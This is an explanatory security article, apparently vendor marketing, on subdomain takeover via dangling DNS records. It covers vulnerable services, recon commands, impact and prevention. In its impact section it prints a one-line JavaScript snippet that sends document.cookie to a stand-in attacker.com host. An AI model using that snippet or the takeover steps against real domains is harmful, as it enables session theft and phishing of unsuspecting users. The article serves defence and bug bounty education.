What is Subdomain Takeover? Ways to Exploit, Examples and Impact

Subdomain takeover is a high-impact vulnerability that occurs when a DNS record points to a decommissioned or non-existent external service. In an era where organizations rely heavily on third-party cloud providers, this "dangling DNS" problem has become one of the most common entry points for attackers. By claiming the orphaned resource, an adversary can gain full control over the subdomain, allowing them to host malicious content, steal session cookies, and bypass security headers.

What is a Subdomain Takeover?

A subdomain takeover (SDTO) happens when a subdomain (like marketing.example.com) points to a service that is no longer active but the DNS record remains in place. This is technically known as a "dangling DNS record."

Modern web infrastructure is modular. Companies use GitHub Pages for documentation, Zendesk for support, and AWS S3 for static assets. To make these services appear native to their brand, they use CNAME (Canonical Name) records. For example, docs.jsmon.sh might have a CNAME record pointing to jsmon.github.io. If Jsmon decides to stop using GitHub Pages but forgets to delete the CNAME record in their DNS settings, an attacker can create their own GitHub repository, claim the jsmon.github.io address, and suddenly, they are in control of docs.jsmon.sh.

The Technical Mechanics of DNS Records

To understand the exploit, we must first understand how DNS resolution works in this context. There are two primary types of records involved in subdomain takeovers:

1. CNAME Records

A CNAME record maps an alias name to a true or canonical domain name. It is the most common vector for takeovers.

Example:

sub.example.com.  3600  IN  CNAME  another-service.herokudns.com.

If another-service.herokudns.com is available for registration on Heroku, the takeover is possible.

2. A Records and IP Recycling

While less common, A records can also lead to takeovers if they point to a static IP of a cloud instance (like an AWS EC2 or DigitalOcean Droplet) that has been released. If an attacker manages to provision a new instance and is assigned that same IP address, they effectively control the traffic for that subdomain.

Common Services Vulnerable to Takeover

Not every service is vulnerable. A service is only susceptible if it allows a user to claim a specific identifier (like a bucket name or a workspace slug) that matches the DNS record without rigorous ownership verification.

GitHub Pages

GitHub Pages allows users to serve websites from repositories. If a company sets up a CNAME pointing to username.github.io and later deletes the repository or the account, the CNAME remains. An attacker can create a new account with that username and a repository to "take over" the domain.

Fingerprint: "404 There isn't a GitHub Pages site here."

Amazon S3 Buckets

Organizations often use S3 for static hosting. If the CNAME points to bucket-name.s3.amazonaws.com and the bucket is deleted, anyone can create a new bucket with that exact name in the same region.

Fingerprint: "The specified bucket does not exist."

Heroku

Heroku apps use subdomains like app-name.herokuapp.com. If the Heroku app is deleted but the CNAME remains, an attacker can simply create a new app named app-name on their own Heroku account.

Fingerprint: "No such app - There is no app configured at this address."

How to Identify and Exploit Subdomain Takeovers

For a technical professional or a bug bounty hunter, the process follows a logical flow of reconnaissance and verification.

Step 1: Subdomain Discovery

The first step is to find all subdomains associated with a target. Tools like subfinder, assetfinder, or Jsmon are used to build a comprehensive list.

subfinder -d example.com -o subdomains.txt

Step 2: DNS Interrogation

Once you have a list, you need to find which ones have CNAME records pointing to external providers. You can use dig for this:

dig CNAME dev.example.com

Output example:

;; ANSWER SECTION:
dev.example.com.    300 IN  CNAME   testing-env.s3.amazonaws.com.

Step 3: Fingerprinting the Service

Now, you check the HTTP response of the subdomain. If the service returns a specific error message indicating that the resource is missing, you have a potential takeover.

We can use curl to inspect the headers and body:

curl -I http://dev.example.com

If the response is a 404 Not Found with a body like "NoSuchBucket", the vulnerability is confirmed.

Step 4: Claiming the Resource

The final step is the "exploitation." This involves going to the third-party provider (e.g., AWS, GitHub, Zendesk) and registering the missing resource. Once registered, any visitor going to dev.example.com will see the attacker's content instead of the original company's site.

Real-World Impact and Risks

Subdomain takeovers are often rated as "High" or "Critical" in bug bounty programs because they break the fundamental trust of the web's Same-Origin Policy (SOP).

1. Phishing and Credential Theft

Users trust login.example.com. If an attacker takes it over, they can host a perfect replica of the login page. Since the URL is legitimate, password managers will auto-fill credentials, and users are unlikely to suspect foul play.

2. Cookie Stealing and Session Hijacking

Many applications set cookies at the parent domain level (e.g., .example.com). This means a cookie set by app.example.com is sent to malicious.example.com. An attacker can use a simple JavaScript snippet to steal session tokens:

// Malicious script hosted on the taken-over subdomain
new Image().src = "https://attacker.com/log?c=" + document.cookie;

3. Bypassing Content Security Policy (CSP)

If a main site's CSP allows scripts from *.example.com, an attacker who takes over a single subdomain can bypass the entire security policy and execute Cross-Site Scripting (XSS) on the main application.

How to Prevent Subdomain Takeover

Prevention is primarily a matter of operational hygiene and automation.

1. The "Delete DNS Last" Rule

The most effective way to prevent SDTO is to change the order of operations. Always delete the DNS record before you decommission the service. If the CNAME is gone, there is nothing for an attacker to point to.

2. Infrastructure as Code (IaC)

Using tools like Terraform or CloudFormation allows you to manage DNS and cloud resources together. When a resource is destroyed in code, the associated DNS record can be automatically removed, ensuring no dangling records are left behind.

3. Regular Auditing

Large organizations have thousands of subdomains. Manual checks are impossible. You need automated tools to scan your DNS records and cross-reference them with active services.

4. Verification Tokens

Many modern services (like Vercel or newer GitHub Pages implementations) now require you to add a TXT record with a random token to verify domain ownership. This effectively kills the possibility of a takeover because an attacker cannot create that TXT record in the organization's DNS zone.

Conclusion

Subdomain takeover remains a potent threat because it exploits the gap between IT operations and DNS management. While the technical fix is simple—deleting an unused record—the scale of modern infrastructure makes discovery the real challenge. Attackers are constantly scanning for these dangling records, making it essential for security teams to stay one step ahead.

To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon. By automating the discovery of new subdomains and tracking changes in your infrastructure, Jsmon helps you identify dangling DNS records before they become a security crisis.